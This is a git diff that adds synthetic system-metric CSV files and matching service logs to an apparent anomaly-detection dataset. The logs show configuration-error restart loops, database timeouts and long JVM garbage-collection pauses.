kubelet[2150]: WARN Container web-app in pod/web-app-7b8c4f9c7d-abcde exited with status 1. +Aug 23 14:06:33 kubelet[2150]: INFO Restarting container web-app in 1s. +Aug 23 14:06:41 web-app[22501]: INFO Starting application v2.1.3... +Aug 23 14:06:47 web-app[22501]: ERROR Invalid configuration: parameter 'database.url' points to a non-existent environment variable 'DB_HOST_NEW'. +Aug 23 14:06:51 web-app[22501]: FATAL Application startup failed due to configuration error. +Aug 23 14:06:57 kubelet[2150]: WARN Container web-app in pod/web-app-7b8c4f9c7d-abcde exited with status 1. +Aug 23 14:06:58 kubelet[2150]: INFO Restarting container web-app in 1s. +Aug 23 14:07:06 web-app[22501]: INFO Starting application v2.1.3... +Aug 23 14:07:12 web-app[22501]: ERROR Invalid configuration: parameter 'database.url' points to a non-existent environment variable 'DB_HOST_NEW'. +Aug 23 14:07:16 web-app[22501]: FATAL Application startup failed due to configuration error. +Aug 23 14:07:22 kubelet[2150]: WARN Container web-app in pod/web-app-7b8c4f9c7d-abcde exited with status 1. +Aug 23 14:07:23 kubelet[2150]: INFO Restarting container web-app in 1s. diff --git a/anom_dataset/scenario_14/anom_14_8.csv b/anom_dataset/scenario_14/anom_14_8.csv new file mode 100644 index 0000000000000000000000000000000000000000..0b5b8d8cc8fe4224a7b4bd0ec5438bd5989b676f --- /dev/null +++ b/anom_dataset/scenario_14/anom_14_8.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-08-23T10:00:00Z,24.96,43.27,30.42,0.58,1.44 +2025-08-23T10:00:05Z,15.87,40.11,22.5,1.29,1.58 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+2025-08-23T10:01:50Z,16.24,43.16,33.02,1.02,1.14 +2025-08-23T10:01:55Z,24.7,41.64,29.86,0.85,1.17 +2025-08-23T10:02:00Z,17.73,40.95,23.0,0.78,0.99 +2025-08-23T10:02:05Z,19.78,41.31,23.1,0.86,1.62 +2025-08-23T10:02:10Z,17.67,35.86,32.36,1.35,1.23 +2025-08-23T10:02:15Z,21.6,42.28,31.02,1.45,1.66 +2025-08-23T10:02:20Z,24.86,36.5,30.38,1.26,1.73 +2025-08-23T10:02:25Z,21.97,43.64,29.77,0.81,0.89 +2025-08-23T10:02:30Z,97.48,71.05,58.59,0.25,0.5 +2025-08-23T10:02:35Z,15.5,21.82,14.19,0.08,0.05 +2025-08-23T10:02:40Z,4.15,9.83,1.25,0.0,0.0 +2025-08-23T10:02:45Z,2.58,6.94,1.32,0.0,0.0 +2025-08-23T10:02:50Z,85.18,75.15,52.99,0.42,0.15 +2025-08-23T10:02:55Z,16.54,28.73,6.63,0.04,0.05 +2025-08-23T10:03:00Z,1.43,7.12,1.19,0.0,0.0 +2025-08-23T10:03:05Z,1.09,5.6,4.97,0.0,0.0 +2025-08-23T10:03:10Z,86.44,76.85,58.32,0.45,0.49 +2025-08-23T10:03:15Z,15.04,25.68,6.85,0.05,0.09 +2025-08-23T10:03:20Z,3.96,7.24,4.54,0.0,0.0 +2025-08-23T10:03:25Z,3.42,5.08,1.4,0.0,0.0 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+2025-08-23T10:07:00Z,2.02,7.28,4.83,0.0,0.0 +2025-08-23T10:07:05Z,1.09,6.76,1.24,0.0,0.0 +2025-08-23T10:07:10Z,87.11,79.91,47.33,0.4,0.46 +2025-08-23T10:07:15Z,15.41,24.35,5.83,0.08,0.08 +2025-08-23T10:07:20Z,3.63,6.93,1.08,0.0,0.0 +2025-08-23T10:07:25Z,4.51,5.07,4.49,0.0,0.0 diff --git a/anom_dataset/scenario_14/anom_14_8.log b/anom_dataset/scenario_14/anom_14_8.log new file mode 100644 index 0000000000000000000000000000000000000000..39280a0f910e6c57c639bb6166bc40db9c33289f --- /dev/null +++ b/anom_dataset/scenario_14/anom_14_8.log @@ -0,0 +1,115 @@ +Aug 23 10:00:05 my-app[1024]: INFO Starting application version 2.1.0, config loaded. +Aug 23 10:00:25 my-app[1024]: INFO GET /api/v1/health 200 +Aug 23 10:01:00 my-app[1024]: INFO Processing 5 user requests from queue. +Aug 23 10:01:40 cron[1150]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 23 10:02:20 my-app[1024]: INFO GET /api/v1/health 200 +Aug 23 10:02:30 deploy-script[1530]: INFO New deployment triggered for my-app. +Aug 23 10:02:32 systemd[1]: Stopping my-app.service... +Aug 23 10:02:33 my-app[1024]: INFO Received SIGTERM. Shutting down gracefully. +Aug 23 10:02:34 systemd[1]: my-app.service: Succeeded. +Aug 23 10:02:34 systemd[1]: Stopped my-app.service. +Aug 23 10:02:30 systemd[1]: Started my-app.service. +Aug 23 10:02:31 my-app[2000]: INFO Starting application version 2.1.1... +Aug 23 10:02:35 my-app[2000]: ERROR Invalid configuration: value for 'timeout_ms' is not a valid integer: '500s'. +Aug 23 10:02:36 my-app[2000]: CRITICAL Application startup failed due to configuration error. +Aug 23 10:02:40 systemd[1]: my-app.service: Main process exited, code=exited, status=1/FAILURE +Aug 23 10:02:41 systemd[1]: my-app.service: Failed with result 'exit-code'. +Aug 23 10:02:45 systemd[1]: my-app.service: Service RestartSec=5s expired, scheduling restart. +Aug 23 10:02:50 systemd[1]: Started my-app.service. +Aug 23 10:02:51 my-app[2005]: INFO Starting application version 2.1.1... +Aug 23 10:02:55 my-app[2005]: ERROR Invalid configuration: value for 'timeout_ms' is not a valid integer: '500s'. +Aug 23 10:02:56 my-app[2005]: CRITICAL Application startup failed due to configuration error. +Aug 23 10:03:00 systemd[1]: my-app.service: Main process exited, code=exited, status=1/FAILURE +Aug 23 10:03:01 systemd[1]: my-app.service: Failed with result 'exit-code'. +Aug 23 10:03:05 systemd[1]: my-app.service: Service RestartSec=5s expired, scheduling restart. +Aug 23 10:03:10 systemd[1]: Started my-app.service. +Aug 23 10:03:11 my-app[2010]: INFO Starting application version 2.1.1... +Aug 23 10:03:15 my-app[2010]: ERROR Invalid configuration: value for 'timeout_ms' is not a valid integer: '500s'. +Aug 23 10:03:16 my-app[2010]: CRITICAL Application startup failed due to configuration error. +Aug 23 10:03:20 systemd[1]: my-app.service: Main process exited, code=exited, status=1/FAILURE +Aug 23 10:03:21 systemd[1]: my-app.service: Failed with result 'exit-code'. +Aug 23 10:03:25 systemd[1]: my-app.service: Service RestartSec=5s expired, scheduling restart. +Aug 23 10:03:30 systemd[1]: Started my-app.service. +Aug 23 10:03:31 my-app[2015]: INFO Starting application version 2.1.1... +Aug 23 10:03:35 my-app[2015]: ERROR Invalid configuration: value for 'timeout_ms' is not a valid integer: '500s'. +Aug 23 10:03:36 my-app[2015]: CRITICAL Application startup failed due to configuration error. +Aug 23 10:03:40 systemd[1]: my-app.service: Main process exited, code=exited, status=1/FAILURE +Aug 23 10:03:41 systemd[1]: my-app.service: Failed with result 'exit-code'. +Aug 23 10:03:45 systemd[1]: my-app.service: Service RestartSec=5s expired, scheduling restart. +Aug 23 10:03:50 systemd[1]: Started my-app.service. +Aug 23 10:03:51 my-app[2020]: INFO Starting application version 2.1.1... +Aug 23 10:03:55 my-app[2020]: ERROR Invalid configuration: value for 'timeout_ms' is not a valid integer: '500s'. +Aug 23 10:03:56 my-app[2020]: CRITICAL Application startup failed due to configuration error. +Aug 23 10:04:00 systemd[1]: my-app.service: Main process exited, code=exited, status=1/FAILURE +Aug 23 10:04:01 systemd[1]: my-app.service: Failed with result 'exit-code'. +Aug 23 10:04:05 systemd[1]: my-app.service: Service RestartSec=5s expired, scheduling restart. +Aug 23 10:04:10 systemd[1]: Started my-app.service. +Aug 23 10:04:11 my-app[2025]: INFO Starting application version 2.1.1... +Aug 23 10:04:15 my-app[2025]: ERROR Invalid configuration: value for 'timeout_ms' is not a valid integer: '500s'. +Aug 23 10:04:16 my-app[2025]: CRITICAL Application startup failed due to configuration error. +Aug 23 10:04:20 systemd[1]: my-app.service: Main process exited, code=exited, status=1/FAILURE +Aug 23 10:04:21 systemd[1]: my-app.service: Failed with result 'exit-code'. +Aug 23 10:04:25 systemd[1]: my-app.service: Service RestartSec=5s expired, scheduling restart. +Aug 23 10:04:30 systemd[1]: Started my-app.service. +Aug 23 10:04:31 my-app[2030]: INFO Starting application version 2.1.1... +Aug 23 10:04:35 my-app[2030]: ERROR Invalid configuration: value for 'timeout_ms' is not a valid integer: '500s'. +Aug 23 10:04:36 my-app[2030]: CRITICAL Application startup failed due to configuration error. +Aug 23 10:04:40 systemd[1]: my-app.service: Main process exited, code=exited, status=1/FAILURE +Aug 23 10:04:41 systemd[1]: my-app.service: Failed with result 'exit-code'. +Aug 23 10:04:45 systemd[1]: my-app.service: Service RestartSec=5s expired, scheduling restart. +Aug 23 10:04:50 systemd[1]: Started my-app.service. +Aug 23 10:04:51 my-app[2035]: INFO Starting application version 2.1.1... +Aug 23 10:04:55 my-app[2035]: ERROR Invalid configuration: value for 'timeout_ms' is not a valid integer: '500s'. +Aug 23 10:04:56 my-app[2035]: CRITICAL Application startup failed due to configuration error. +Aug 23 10:05:00 systemd[1]: my-app.service: Main process exited, code=exited, status=1/FAILURE +Aug 23 10:05:01 systemd[1]: my-app.service: Failed with result 'exit-code'. +Aug 23 10:05:05 systemd[1]: my-app.service: Service RestartSec=5s expired, scheduling restart. +Aug 23 10:05:10 systemd[1]: Started my-app.service. +Aug 23 10:05:11 my-app[2040]: INFO Starting application version 2.1.1... +Aug 23 10:05:15 my-app[2040]: ERROR Invalid configuration: value for 'timeout_ms' is not a valid integer: '500s'. +Aug 23 10:05:16 my-app[2040]: CRITICAL Application startup failed due to configuration error. +Aug 23 10:05:20 systemd[1]: my-app.service: Main process exited, code=exited, status=1/FAILURE +Aug 23 10:05:21 systemd[1]: my-app.service: Failed with result 'exit-code'. +Aug 23 10:05:25 systemd[1]: my-app.service: Service RestartSec=5s expired, scheduling restart. +Aug 23 10:05:30 systemd[1]: Started my-app.service. +Aug 23 10:05:31 my-app[2045]: INFO Starting application version 2.1.1... +Aug 23 10:05:35 my-app[2045]: ERROR Invalid configuration: value for 'timeout_ms' is not a valid integer: '500s'. +Aug 23 10:05:36 my-app[2045]: CRITICAL Application startup failed due to configuration error. +Aug 23 10:05:40 systemd[1]: my-app.service: Main process exited, code=exited, status=1/FAILURE +Aug 23 10:05:41 systemd[1]: my-app.service: Failed with result 'exit-code'. +Aug 23 10:05:45 systemd[1]: my-app.service: Service RestartSec=5s expired, scheduling restart. +Aug 23 10:05:50 systemd[1]: Started my-app.service. +Aug 23 10:05:51 my-app[2050]: INFO Starting application version 2.1.1... +Aug 23 10:05:55 my-app[2050]: ERROR Invalid configuration: value for 'timeout_ms' is not a valid integer: '500s'. +Aug 23 10:05:56 my-app[2050]: CRITICAL Application startup failed due to configuration error. +Aug 23 10:06:00 systemd[1]: my-app.service: Main process exited, code=exited, status=1/FAILURE +Aug 23 10:06:01 systemd[1]: my-app.service: Failed with result 'exit-code'. +Aug 23 10:06:05 systemd[1]: my-app.service: Service RestartSec=5s expired, scheduling restart. +Aug 23 10:06:10 systemd[1]: Started my-app.service. +Aug 23 10:06:11 my-app[2055]: INFO Starting application version 2.1.1... +Aug 23 10:06:15 my-app[2055]: ERROR Invalid configuration: value for 'timeout_ms' is not a valid integer: '500s'. +Aug 23 10:06:16 my-app[2055]: CRITICAL Application startup failed due to configuration error. +Aug 23 10:06:20 systemd[1]: my-app.service: Main process exited, code=exited, status=1/FAILURE +Aug 23 10:06:21 systemd[1]: my-app.service: Failed with result 'exit-code'. +Aug 23 10:06:25 systemd[1]: my-app.service: Service RestartSec=5s expired, scheduling restart. +Aug 23 10:06:30 systemd[1]: Started my-app.service. +Aug 23 10:06:31 my-app[2060]: INFO Starting application version 2.1.1... +Aug 23 10:06:35 my-app[2060]: ERROR Invalid configuration: value for 'timeout_ms' is not a valid integer: '500s'. +Aug 23 10:06:36 my-app[2060]: CRITICAL Application startup failed due to configuration error. +Aug 23 10:06:40 systemd[1]: my-app.service: Main process exited, code=exited, status=1/FAILURE +Aug 23 10:06:41 systemd[1]: my-app.service: Failed with result 'exit-code'. +Aug 23 10:06:45 systemd[1]: my-app.service: Service RestartSec=5s expired, scheduling restart. +Aug 23 10:06:50 systemd[1]: Started my-app.service. +Aug 23 10:06:51 my-app[2065]: INFO Starting application version 2.1.1... +Aug 23 10:06:55 my-app[2065]: ERROR Invalid configuration: value for 'timeout_ms' is not a valid integer: '500s'. +Aug 23 10:06:56 my-app[2065]: CRITICAL Application startup failed due to configuration error. +Aug 23 10:07:00 systemd[1]: my-app.service: Main process exited, code=exited, status=1/FAILURE +Aug 23 10:07:01 systemd[1]: my-app.service: Failed with result 'exit-code'. +Aug 23 10:07:05 systemd[1]: my-app.service: Service RestartSec=5s expired, scheduling restart. +Aug 23 10:07:10 systemd[1]: Started my-app.service. +Aug 23 10:07:11 my-app[2070]: INFO Starting application version 2.1.1... +Aug 23 10:07:15 my-app[2070]: ERROR Invalid configuration: value for 'timeout_ms' is not a valid integer: '500s'. +Aug 23 10:07:16 my-app[2070]: CRITICAL Application startup failed due to configuration error. +Aug 23 10:07:20 systemd[1]: my-app.service: Main process exited, code=exited, status=1/FAILURE +Aug 23 10:07:21 systemd[1]: my-app.service: Failed with result 'exit-code'. +Aug 23 10:07:25 systemd[1]: my-app.service: Service RestartSec=5s expired, scheduling restart. diff --git a/anom_dataset/scenario_14/anom_14_9.csv b/anom_dataset/scenario_14/anom_14_9.csv new file mode 100644 index 0000000000000000000000000000000000000000..56c65e277a66113a3d9eb18195244d55565319f0 --- /dev/null +++ b/anom_dataset/scenario_14/anom_14_9.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-07-14T10:00:00Z,9.181889254243892,36.97671822506931,31.265717950589305,1.1105565401784518,1.0484698813668134 +2025-07-14T10:00:05Z,16.147347104341982,44.0717834185436,30.61228735192867,1.1665807490535742,0.8745595908236685 +2025-07-14T10:00:10Z,15.98792644680296,39.960590933049296,35.45307901478737,1.2237010417656868,0.903495354010371 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+2025-07-14T10:07:00Z,97.53929722010858,81.33505508721622,51.26112925248306,0.6507285217206025,0.5144004927277099 +2025-07-14T10:07:05Z,97.2275990208867,90.33083651168131,49.987023683125685,0.8599018790230062,0.719115055723921 +2025-07-14T10:07:10Z,94.63180001281548,79.01253510036751,50.34644342811239,0.6893583491701402,0.6409613770010097 +2025-07-14T10:07:15Z,94.06881140959607,89.1654456710102,41.95582412409727,0.8863670587375023,0.3919950302996149 +2025-07-14T10:07:20Z,91.60355510671992,96.1504017350797,52.72441102406113,1.0731590305295813,0.5566299729974958 +2025-07-14T10:07:25Z,88.52724849972506,88.22716731910802,26.53700716904428,0.4936433825862247,0.6925827633892443 diff --git a/anom_dataset/scenario_14/anom_14_9.log b/anom_dataset/scenario_14/anom_14_9.log new file mode 100644 index 0000000000000000000000000000000000000000..5f2dacca3b9b12e075a96e5cd87e7b91b87ca090 --- /dev/null +++ b/anom_dataset/scenario_14/anom_14_9.log @@ -0,0 +1,60 @@ +Jul 14 10:00:02 systemd[1]: Starting daily user cleanup... +Jul 14 10:00:10 web-app[3456]: GET /api/v1/user/34 status=200 OK +Jul 14 10:00:45 web-app[3456]: GET /api/v1/user/99 status=200 OK +Jul 14 10:01:10 CRON[6789]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 14 10:01:35 web-app[3456]: POST /api/v1/login status=200 OK +Jul 14 10:02:30 web-app[3456]: GET /api/v1/products/123 status=200 OK +Jul 14 10:03:05 web-app[3456]: GET /api/v1/products/456 status=200 OK +Jul 14 10:03:18 kubelet[1122]: INFO: Configuration change detected for pod web-app-7b8c... +Jul 14 10:03:19 web-app[3456]: INFO: Received signal to reload configuration. +Jul 14 10:03:20 web-app[3456]: ERROR: Invalid configuration in '/etc/app/config.yaml': `timeout` value '-500' is not a valid positive integer. +Jul 14 10:03:21 web-app[3456]: CRITICAL: Failed to start with new configuration. Application might be in an unstable state. +Jul 14 10:03:25 web-app[3456]: GET /api/v1/healthz status=503 Service Unavailable +Jul 14 10:03:30 web-app[3456]: ERROR: Connection to database failed: timeout waiting for connection. Retrying in 10s... +Jul 14 10:03:35 web-app[3456]: GET /api/v1/data status=500 Internal Server Error +Jul 14 10:03:40 web-app[3456]: ERROR: Request processing failed due to uninitialized component: DatabaseConnector +Jul 14 10:03:45 web-app[3456]: ERROR: Request processing failed due to uninitialized component: DatabaseConnector +Jul 14 10:03:50 web-app[3456]: GET /api/v1/healthz status=503 Service Unavailable +Jul 14 10:03:55 web-app[3456]: ERROR: Connection to database failed: timeout waiting for connection. Retrying in 10s... +Jul 14 10:04:00 web-app[3456]: GET /api/v1/data status=500 Internal Server Error +Jul 14 10:04:05 web-app[3456]: ERROR: Request processing failed due to uninitialized component: DatabaseConnector +Jul 14 10:04:10 web-app[3456]: ERROR: Request processing failed due to uninitialized component: DatabaseConnector +Jul 14 10:04:15 web-app[3456]: GET /api/v1/healthz status=503 Service Unavailable +Jul 14 10:04:20 web-app[3456]: ERROR: Connection to database failed: timeout waiting for connection. Retrying in 10s... +Jul 14 10:04:25 web-app[3456]: GET /api/v1/data status=500 Internal Server Error +Jul 14 10:04:30 kubelet[1122]: WARN Liveness probe failed for pod web-app-7b8c... +Jul 14 10:04:35 web-app[3456]: ERROR: Request processing failed due to uninitialized component: DatabaseConnector +Jul 14 10:04:40 web-app[3456]: GET /api/v1/healthz status=503 Service Unavailable +Jul 14 10:04:45 web-app[3456]: ERROR: Connection to database failed: timeout waiting for connection. Retrying in 10s... +Jul 14 10:04:50 web-app[3456]: GET /api/v1/data status=500 Internal Server Error +Jul 14 10:04:55 kubelet[1122]: WARN Liveness probe failed for pod web-app-7b8c... +Jul 14 10:05:00 web-app[3456]: ERROR: Request processing failed due to uninitialized component: DatabaseConnector +Jul 14 10:05:05 web-app[3456]: GET /api/v1/healthz status=503 Service Unavailable +Jul 14 10:05:10 web-app[3456]: ERROR: Connection to database failed: timeout waiting for connection. Retrying in 10s... +Jul 14 10:05:15 web-app[3456]: GET /api/v1/data status=500 Internal Server Error +Jul 14 10:05:20 kubelet[1122]: WARN Liveness probe failed for pod web-app-7b8c... +Jul 14 10:05:25 web-app[3456]: ERROR: Request processing failed due to uninitialized component: DatabaseConnector +Jul 14 10:05:30 web-app[3456]: GET /api/v1/healthz status=503 Service Unavailable +Jul 14 10:05:35 web-app[3456]: ERROR: Connection to database failed: timeout waiting for connection. Retrying in 10s... +Jul 14 10:05:40 web-app[3456]: GET /api/v1/data status=500 Internal Server Error +Jul 14 10:05:45 kubelet[1122]: WARN Liveness probe failed for pod web-app-7b8c... +Jul 14 10:05:50 web-app[3456]: ERROR: Request processing failed due to uninitialized component: DatabaseConnector +Jul 14 10:05:55 web-app[3456]: GET /api/v1/healthz status=503 Service Unavailable +Jul 14 10:06:00 web-app[3456]: ERROR: Connection to database failed: timeout waiting for connection. Retrying in 10s... +Jul 14 10:06:05 web-app[3456]: GET /api/v1/data status=500 Internal Server Error +Jul 14 10:06:10 kubelet[1122]: WARN Liveness probe failed for pod web-app-7b8c... +Jul 14 10:06:15 web-app[3456]: ERROR: Request processing failed due to uninitialized component: DatabaseConnector +Jul 14 10:06:20 web-app[3456]: GET /api/v1/healthz status=503 Service Unavailable +Jul 14 10:06:25 web-app[3456]: ERROR: Connection to database failed: timeout waiting for connection. Retrying in 10s... +Jul 14 10:06:30 web-app[3456]: GET /api/v1/data status=500 Internal Server Error +Jul 14 10:06:35 kubelet[1122]: WARN Liveness probe failed for pod web-app-7b8c... +Jul 14 10:06:40 web-app[3456]: ERROR: Request processing failed due to uninitialized component: DatabaseConnector +Jul 14 10:06:45 web-app[3456]: GET /api/v1/healthz status=503 Service Unavailable +Jul 14 10:06:50 web-app[3456]: ERROR: Connection to database failed: timeout waiting for connection. Retrying in 10s... +Jul 14 10:06:55 web-app[3456]: GET /api/v1/data status=500 Internal Server Error +Jul 14 10:07:00 kubelet[1122]: WARN Liveness probe failed for pod web-app-7b8c... +Jul 14 10:07:05 web-app[3456]: ERROR: Request processing failed due to uninitialized component: DatabaseConnector +Jul 14 10:07:10 web-app[3456]: GET /api/v1/healthz status=503 Service Unavailable +Jul 14 10:07:15 web-app[3456]: ERROR: Connection to database failed: timeout waiting for connection. Retrying in 10s... +Jul 14 10:07:20 web-app[3456]: GET /api/v1/data status=500 Internal Server Error +Jul 14 10:07:25 kubelet[1122]: WARN Liveness probe failed for pod web-app-7b8c... diff --git a/anom_dataset/scenario_15/anom_15_1.csv b/anom_dataset/scenario_15/anom_15_1.csv new file mode 100644 index 0000000000000000000000000000000000000000..0c6832a2a8747e79ffdd70a300544559baedb252 --- /dev/null +++ b/anom_dataset/scenario_15/anom_15_1.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-08-15T10:00:00Z,21.4901424590337,43.61906731889813,35.4853877467402,0.9251334695530014,1.9323819867198346 +2025-08-15T10:00:05Z,19.585207096486446,46.99412046654387,39.84322495266444,0.6285684887167435,1.0692413546461683 +2025-08-15T10:00:10Z,21.94306561430208,50.93737928925568,31.489734530613237,0.5858215003877776,1.8489491256464878 +2025-08-15T10:00:15Z,24.569089569224076,53.99968515854124,33.36168926701116,0.8964944830486371,1.5030699183058762 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app-server[12345]: INFO: GET /api/v1/health HTTP/1.1 200 OK +Aug 15 10:00:34 app-server[12345]: INFO: GET /api/v1/health HTTP/1.1 200 OK +Aug 15 10:00:59 java[12345]: [GC (Allocation Failure) ... 82315K->41243K(102400K), 2.303519 secs] +Aug 15 10:01:02 app-server[12345]: WARN: Request to /api/v1/processData timed out after 2000ms for user_id=242 +Aug 15 10:01:12 app-server[12345]: INFO: GET /api/v1/health HTTP/1.1 200 OK +Aug 15 10:01:45 app-server[12345]: INFO: GET /api/v1/health HTTP/1.1 200 OK +Aug 15 10:02:20 app-server[12345]: INFO: GET /api/v1/health HTTP/1.1 200 OK +Aug 15 10:02:29 java[12345]: [GC (Allocation Failure) ... 97280K->45938K(102400K), 1.930094 secs] +Aug 15 10:02:32 app-server[12345]: WARN: Request to /api/v1/processData timed out after 2000ms for user_id=646 +Aug 15 10:02:52 app-server[12345]: INFO: GET /api/v1/health HTTP/1.1 200 OK +Aug 15 10:03:29 app-server[12345]: INFO: GET /api/v1/health HTTP/1.1 200 OK +Aug 15 10:03:59 java[12345]: [GC (Allocation Failure) ... 97280K->44424K(102400K), 2.450321 secs] +Aug 15 10:04:01 app-server[12345]: WARN: Request to /api/v1/processData timed out after 2000ms for user_id=744 +Aug 15 10:04:04 app-server[12345]: INFO: GET /api/v1/health HTTP/1.1 200 OK +Aug 15 10:04:39 app-server[12345]: INFO: GET /api/v1/health HTTP/1.1 200 OK +Aug 15 10:05:16 app-server[12345]: INFO: GET /api/v1/health HTTP/1.1 200 OK +Aug 15 10:05:29 java[12345]: [GC (Allocation Failure) ... 97280K->43748K(102400K), 2.122786 secs] +Aug 15 10:05:32 app-server[12345]: WARN: Request to /api/v1/processData timed out after 2000ms for user_id=866 +Aug 15 10:05:48 app-server[12345]: INFO: GET /api/v1/health HTTP/1.1 200 OK +Aug 15 10:06:26 app-server[12345]: INFO: GET /api/v1/health HTTP/1.1 200 OK +Aug 15 10:06:58 app-server[12345]: INFO: GET /api/v1/health HTTP/1.1 200 OK +Aug 15 10:06:59 java[12345]: [GC (Allocation Failure) ... 97280K->44670K(102400K), 2.167309 secs] +Aug 15 10:07:02 app-server[12345]: WARN: Request to /api/v1/processData timed out after 2000ms for user_id=873 diff --git a/anom_dataset/scenario_15/anom_15_10.csv b/anom_dataset/scenario_15/anom_15_10.csv new file mode 100644 index 0000000000000000000000000000000000000000..bb67730295a910028f91ad6c37d2e116d3e24e5c --- /dev/null +++ b/anom_dataset/scenario_15/anom_15_10.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-07-15T10:00:00Z,14.375343036912911,40.0,27.184350335039067,0.7090482777071432,0.5792254092094419 +2025-07-15T10:00:05Z,15.678569412092369,40.56061641368122,23.934959028535058,1.3522694626971754,1.2889964950082253 +2025-07-15T10:00:10Z,14.688182932234573,41.11416267381966,37.74064080240095,1.3582311151023818,0.8396735768444151 +2025-07-15T10:00:15Z,13.996420653404503,41.653657791352764,21.510623303556812,1.3277503593013247,0.8168567166051899 +2025-07-15T10:00:20Z,15.471137783452038,42.1722979816901,26.841035220429,1.0154629236360089,1.0791652722428688 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+2025-07-15T10:07:05Z,18.867749964078847,39.372737918840336,29.728442012192648,1.2379614146542608,0.6542866956450416 +2025-07-15T10:07:10Z,15.096649755705323,38.820505902001194,24.571993551220135,1.2160710739438618,1.147257894853562 +2025-07-15T10:07:15Z,12.896462618583246,38.28314894798958,37.149711877898305,1.4090208840678928,1.0478404651488178 +2025-07-15T10:07:20Z,17.33316477319857,37.767443876176856,30.253416979039944,1.3843629784871627,0.9663297817233654 +2025-07-15T10:07:25Z,16.47093435038888,37.279894445553154,22.26740711352131,1.056116247770785,0.9870700930394039 diff --git a/anom_dataset/scenario_15/anom_15_10.log b/anom_dataset/scenario_15/anom_15_10.log new file mode 100644 index 0000000000000000000000000000000000000000..6f1932b8f3c9113b8e446691c71d3b077d976075 --- /dev/null +++ b/anom_dataset/scenario_15/anom_15_10.log @@ -0,0 +1,43 @@ +Jul 15 10:00:00 systemd[1]: Starting daily user cleanup... +Jul 15 10:00:00 web-app[1234]: GET /api/v1/health status=200 OK +Jul 15 10:00:00 web-app[1234]: GET /api/v1/user/42 status=200 OK +Jul 15 10:00:35 web-app[1234]: GET /api/v1/health status=200 OK +Jul 15 10:00:50 jvm[4567]: [GC (Full GC) pause=2380.83ms] +Jul 15 10:00:50 web-app[1234]: GET /api/v1/data status=504 Gateway Timeout +Jul 15 10:00:50 web-app[1234]: POST /api/v1/submit status=504 Gateway Timeout +Jul 15 10:00:55 systemd[1]: Starting daily user cleanup... +Jul 15 10:01:10 web-app[1234]: GET /api/v1/health status=200 OK +Jul 15 10:01:30 web-app[1234]: GET /api/v1/user/42 status=200 OK +Jul 15 10:01:45 web-app[1234]: GET /api/v1/health status=200 OK +Jul 15 10:01:50 jvm[4567]: [GC (Full GC) pause=1581.52ms] +Jul 15 10:01:50 web-app[1234]: GET /api/v1/data status=504 Gateway Timeout +Jul 15 10:01:50 web-app[1234]: POST /api/v1/submit status=504 Gateway Timeout +Jul 15 10:02:20 web-app[1234]: GET /api/v1/health status=200 OK +Jul 15 10:02:45 systemd[1]: Starting daily user cleanup... +Jul 15 10:02:55 jvm[4567]: [GC (Full GC) pause=1573.20ms] +Jul 15 10:02:55 web-app[1234]: GET /api/v1/data status=504 Gateway Timeout +Jul 15 10:02:55 web-app[1234]: POST /api/v1/submit status=504 Gateway Timeout +Jul 15 10:03:00 web-app[1234]: GET /api/v1/user/42 status=200 OK +Jul 15 10:03:30 web-app[1234]: GET /api/v1/health status=200 OK +Jul 15 10:03:40 systemd[1]: Starting daily user cleanup... +Jul 15 10:04:05 web-app[1234]: GET /api/v1/health status=200 OK +Jul 15 10:04:10 jvm[4567]: [GC (Full GC) pause=1957.29ms] +Jul 15 10:04:10 web-app[1234]: GET /api/v1/data status=504 Gateway Timeout +Jul 15 10:04:10 web-app[1234]: POST /api/v1/submit status=504 Gateway Timeout +Jul 15 10:04:30 web-app[1234]: GET /api/v1/user/42 status=200 OK +Jul 15 10:04:35 systemd[1]: Starting daily user cleanup... +Jul 15 10:04:40 web-app[1234]: GET /api/v1/health status=200 OK +Jul 15 10:05:15 web-app[1234]: GET /api/v1/health status=200 OK +Jul 15 10:05:20 jvm[4567]: [GC (Full GC) pause=1519.81ms] +Jul 15 10:05:20 web-app[1234]: GET /api/v1/data status=504 Gateway Timeout +Jul 15 10:05:20 web-app[1234]: POST /api/v1/submit status=504 Gateway Timeout +Jul 15 10:05:30 systemd[1]: Starting daily user cleanup... +Jul 15 10:05:50 web-app[1234]: GET /api/v1/health status=200 OK +Jul 15 10:06:00 web-app[1234]: GET /api/v1/user/42 status=200 OK +Jul 15 10:06:25 systemd[1]: Starting daily user cleanup... +Jul 15 10:06:25 web-app[1234]: GET /api/v1/health status=200 OK +Jul 15 10:06:30 jvm[4567]: [GC (Full GC) pause=1533.85ms] +Jul 15 10:06:30 web-app[1234]: GET /api/v1/data status=504 Gateway Timeout +Jul 15 10:06:30 web-app[1234]: POST /api/v1/submit status=504 Gateway Timeout +Jul 15 10:07:00 web-app[1234]: GET /api/v1/health status=200 OK +Jul 15 10:07:20 systemd[1]: Starting daily user cleanup... diff --git a/anom_dataset/scenario_15/anom_15_11.csv b/anom_dataset/scenario_15/anom_15_11.csv new file mode 100644 index 0000000000000000000000000000000000000000..ce5554cd9b1b08cebe35b4edc9cd067a75fea34a --- /dev/null +++ b/anom_dataset/scenario_15/anom_15_11.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-07-15T14:00:00Z,16.49,40.49,33.13,1.93,1.36 +2025-07-15T14:00:05Z,14.59,44.96,25.71,1.07,1.66 +2025-07-15T14:00:10Z,16.94,36.71,24.65,1.85,1.17 +2025-07-15T14:00:15Z,19.57,38.7,32.41,1.5,1.32 +2025-07-15T14:00:20Z,14.3,38.49,28.88,1.21,1.41 +2025-07-15T14:00:25Z,14.3,33.24,33.57,1.64,1.08 +2025-07-15T14:00:30Z,19.74,42.15,32.37,1.56,1.27 +2025-07-15T14:00:35Z,17.3,42.09,29.64,1.32,1.2 +2025-07-15T14:00:40Z,13.59,40.92,25.77,1.52,1.23 +2025-07-15T14:00:45Z,16.63,39.84,22.43,1.38,0.97 +2025-07-15T14:00:50Z,13.61,34.05,27.77,1.53,1.21 +2025-07-15T14:00:55Z,13.6,39.13,34.28,1.7,1.35 +2025-07-15T14:01:00Z,15.73,39.63,31.07,1.98,1.64 